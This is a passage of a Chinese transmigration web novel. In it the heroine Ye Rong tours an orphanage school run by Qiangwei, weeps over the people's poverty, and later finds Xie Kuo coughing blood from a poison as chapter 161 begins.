叶绒缓缓眨了下眼睛,看着激动的从椅子上起身,来到她面前的蔷薇,她眼眸微动。
多日不见,也许是因为这段时间,为了书院一应事宜,过于忙碌操劳的缘故,蔷薇变得瘦了一些,但整个人看起来却更加的有精气神了,眼神也更明亮了,举手投足间带着一股落落大方的气质,和初见时温柔蛊惑的大美人比起来,简直跟换了个人似的。
叶绒不用细想都知道,这是工作给她带来的脱胎换骨的转变。
因此,她没有问蔷薇这段时间过得好与不好,也没说那些客套的话,只轻轻对她点了下头,慢吞吞道了句,“好久不见。”
彼时的叶绒,虽然看起来已经回过了神,但心神还在刚刚看到的那群在室外学习的人身上。
那些人对知识渴求的灼灼目光,在她脑海中绘制成了一幅令人挥之不去的画面,让她既难过又心酸,还带了股挥之不去的愧疚感。
兴许是因为她甫一来到这个时代,便知道自己是代替叶小绒的存在的缘故,亦或者是因为别的其他的什么原因,来这里那么久了,她虽然还不大适应这里的环境,但却隐隐有了种把身边来来往往的九州人,当做同胞的感受。
他们有着同样的黄皮肤黑眼睛,说着同样的语言,学习是同样祖先的文明,谁又能说他们不是一脉相承的存在呢?
而今,她看着同胞受苦受难,分明有法子帮助他们,却因为自己的胆小怯懦,选择了视而不见……
只稍微这么一想,叶绒便感受到了一股如梗在喉的难受。
哎!
叶绒内心酸涩的问候了下,写出《锦鲤王妃》这本书的作者。
你特麽的都已经架空了,在汉之后架空出一个全新的朝代,取代了隋唐的存在,怎么就不能架得更空一点,把这里的语言和文化习俗之类的东西,全都改成令她陌生的存在呢?!
她要是没有代入感了,现在就不用为此感到难受了。
只可惜啊……
叶绒内心五味杂陈的感受无人得知,但看着两人来往间这般熟稔的模样,在她身旁站着的少女,面上复杂的表情,却被人看了个彻底。
论想交的朋友,成了未来上司的老大,怎么破?
少女脸上的表情太过于复杂了,连带着周身气场都跟着变了,以至于叶绒好不容易,勉强压下心中难以言喻的情绪之后,下意识的就把注意力,放到了身边少女的身上。
仅一个眨眼的功夫,看着几乎把情绪全都写在了脸上的少女,叶绒:“……”
她微微转眸看向蔷薇,“你这书院……”
蔷薇一听她这话的开头,瞬间就打起了精神。
视察的领导来了,到她交成果的时候了。
内心忐忑的蔷薇,想到现在边城里传的与他们学院有关的好坏参半的话,生怕自己玻璃心受不住的蔷薇,连忙打断叶绒未尽的话语道:“一切耳听为虚,眼见为实,要不我带你四处看看吧?亲眼见识见识!”
可千万别把外面那些打嘴仗干不过她,因而有些破罐子破摔的迂腐家伙们的恶语当真啊!
本只是想问问蔷薇,这边是否还有什么难处,需不需要帮忙的叶绒:“……”
还是那句话,来都来了,既然当事人想带她参观一下,那看看又有何妨?
这般想着,叶绒点头应下了,然后她看向身旁少女邀请道:“你要不要和我们一起去外面看看?”
少女:“……要!”
肉眼可见的,能帮她面试的人,现在没有一丁点儿考察招待她的时间,那她不趁着这个机会,顺便多了解一些学院事宜,连带着在面试官面前刷些好感度,难不成还站在这里傻等吗?
少女是这般想的,也准备这样做。
孰料,跟在两人身后,一路走来,听着蔷薇的讲解,她竟然没有一丁点儿表现自己的功夫。
“……”
少女看着在她身前走着仔细听蔷薇讲解的叶绒,内心充满了好奇。
话说,她随手勾搭来的这号人,到底是什么来路啊?
竟能让舌战群儒,把人说的羞愧难言都面不改色的院长,这般小心翼翼的殷勤招待?
彼时的叶绒,并不知道蔷薇这段时间在边城的战绩,同样的,也没人知道叶绒内心在想什么。
叶绒只跟着蔷薇在慈幼局里面建造的书院里走走停停,走过那群衣不裹腹却对知识极为渴求的人,看完牙牙学语,头大肚大,身材干瘦,却认真在教室内随着教习先生写写画画的慈幼局孩子们,亦见到了在后厨无偿帮忙的,一众身有残疾的男子。
当得知他们这么做,只是希望自己孩子日后能有一个入学机会时,叶绒:“……”
再怎么用古今差异说服自己,她最终还是忍不住泪如雨下。
在心里好好的问候了一番害她沦落此地的神经病,和《锦鲤王妃》的作者之后,心中难受仍旧无法排解而出的叶绒,忍不住捂脸,蹲在地上痛哭了一场。
既为了这里的人,肉眼可见的苦难生活,也是因为愧对了红旗下老师澊澊教诲的自己。
她有罪!
并不知道叶绒哭着哭着,已经开始忏悔起来的蔷薇:“……”
不是,这什么情况?
莫名其妙把人弄哭的蔷薇,那叫一个不明所以。
向来八面玲珑的女人,这回因叶绒毫无预兆的哭泣,难得傻眼了。
看她哭的身子一抽一抽的模样,蔷薇跟着拍着她的脊背,轻声安抚了几句,然并卵——
毫无用处。
“!!!”
救命.jpg
这下轮到蔷薇惊恐了。
头皮发麻,一个激灵从天灵盖直窜到脚底心,引得蔷薇下意识打了个寒颤。
话说,她要是就这么把人给送回去的话,谢某人那边会不会直接一个冲动,把她嘎了啊?!
第一百六十一章 他在驴她?
一路吹着冷风走回去,叶绒回到住处的时候,已经堪堪压下心中的难过,面容也恢复了正常。
倘若不看她泛红的眼眶的话,那当真是和平时别无二致。
——可惜,谢阔忽视不了。
男人撩起眼皮,淡淡的扫了眼搀扶着少女行走的蔷薇。
蔷薇:“……”
有杀气!
为了防止自己不明不白的就这么没了,她赶紧看向谢某人想自证清白,以表自己的无辜。
蔷薇把叶绒送到男人跟前,硬着头皮解释道:“刚刚在慈幼局看到厍姑娘,我一个激动就带她参观了一下新建的学堂,孰料看着看着她就……”
蔷薇剩下未尽的话语,尽数包含在欲言又止的目光中,以一个苦笑完美的传达给了男人。
以为人小姑娘快快乐乐,好不容易出一趟门,结果在外面受了欺负,正准备帮人找回场子的谢阔:“……”
得!
这下他不用人解释,就知道了,她这是慈悲心又起了。
谢阔手腕动了动,强忍着伸手扶肝的冲动,几不可见的叹了口气
待蔷薇把人送过来,功成身退,赶紧溜走了,门口只剩下他们两人之后,男人伸手拉着尚还有些心不在焉的少女的衣袖,转身进了院门。
“来,咱好好说说,你出去一趟都见到了什么?又看到了哪些需要帮助的困难人士?”
别的不说,他两袖空空之后,凭借着这张脸,在周围还是能借到不少钱的。
不就是超前消费吗?
他可以!
和她的伤心难过比起来,他宁愿自个儿厚颜负债。
总而言之一句话——
他受不得她哭。
叶绒察觉到男人话中的意思,眼中再度涌上了热意。
她强迫自己抬头,眼含热泪,嘴角轻扯,给了男人一个笑容,轻轻摇头道:“我没事,你别担心。”
在他们之间,相似的长相、相同的汉字和同源文化的连番加持下,她对彼时身处苦难生活的百姓们的贫困,无法视若无睹;但同样的,她也清楚地知道,倘若不暴露她身上的神异之处的话,这一问题,压根无法从根源上解决。
因为这几千年的时间跨度,没有别的法子消弭。
她是他们的后来者,因先辈们的呕心沥血,艰苦奋斗,她得以在太平盛世长大,承蒙国家资助,安然无恙,无忧无虑的在象牙塔中,一过就是二十二年。
她的幸福生活,和这里的百姓们的苦难日子,形成了鲜明的对比,再加上他们从某种层面上说来,也算得上是同根同源了……
在这种情况下,她猝不及防的,甫一直面他们的苦难,在分明有法子解决的前提下,却选择了视而不见,所以,她心中难受是必然的。
这般想着,叶绒伸手拭去了眼中的热泪。
薛定谔的眼泪罢了,没什么好提的。
叶绒是这么想的,也确实是这么认为的,故而在男人的再三追问之下,她什么都没说,只道了句,“我没事,回头好好睡上一觉,明天就好了。”
她这话既是说给男人听的,也是说给她自己听的。
既然已经做下了决定,准备在离开这个时代,回到现代的前一刻,再把那些个属于现代的良种之类的,能让这里的百姓们好好过活的东西拿出来,那她就应该坚定这一信念,不能因为任何事情而动摇这一决定,省得两头顾两头失,到头来落得个竹篮打水一场空。
叶绒这般想着,强迫自己冷下心肠,一遍又一遍的告诉自己,人之初性本恶,凡事她应该首先考虑顾全自己。
可,她当真能说服得了自己,忘了自己在现代接受的道德教育,抛弃自己在红色浪潮中定型的三观,对他人近在眼前的苦难视而不见吗?
叶绒在床上辗转反侧,泪湿枕巾,一夜未眠……
第二天一大早,知道她往房间里叫了热鸡蛋之后,谢阔坐在书房窗户边,看着远方天际好半响,最终还是招手让人把她叫了过来。
有那个功夫伤春悲秋,肯定是因为太闲了!
叶绒本以为男人叫她过来,是为了追根究底,弄明白昨天到底发生了什么,以至于她会那么失态。
经过一夜的辗转难眠,她也已经想好了应对的借口。
——问就是太感动了。
没想到她计划书上写的东西,他竟然都做到了,大好人呐简直,当真是天不生谢阔,万古如长夜。
叶绒肚子里装了一大堆的彩虹屁,没曾想到了书房之后,迎面一摞文书砸来,谢某人一点都没给她发挥的余地。
???
看她一脸懵逼的样子,谢阔表情端的那叫一个理所当然,“赶紧的,该干活了,你昨天休了一天,我昨天也忙里偷闲了一会儿,两天的文书加起来,你动作要是不够麻溜的话,今晚就得留在书房陪我通宵了。”
叶绒:……嘎?
想到程叔的话,她回过神来,刚想把心中打的算盘露出来,为自己争取一下自由活动的利益,顺便对自己这段时间风雨无阻,来书房打卡帮忙的工作,做个完美的收尾,孰料她嘴刚张开,话还没说出来呢,男人一声咳嗽,锦帕捂嘴,再挪开,浅蓝色的帕子上便沾了鲜红的血迹。
叶绒:“!!!”
不是,好端端的,怎么就吐血了呢??!
“我去把程叔叫过来给你看看。”
看叶绒头皮发麻,一脸惊悚的模样,男人平复体内波动的内力,若无其事的轻笑了一下,阻止了她慌乱的动作。
“无妨,正常现象罢了,你不用担心;程叔已经看过了,等过几日碧落解了,就好了。”
叶绒闻言,看看帕子上的血迹,又看看男人的面容,面露狐疑之色,“你……真没事?”
想到初见时,他深受重伤而面不改色,甚至于把其当成一件小事,还敢骑马赶路,叶绒情不自禁皱起了眉头。
他怕不是在驴她吧?
毕竟他们两人,对于大事小事的理解,完全不在一个概念上。
恐怕在他眼里,他便是深受重伤,只要没有当场嘎了,那都不算事儿!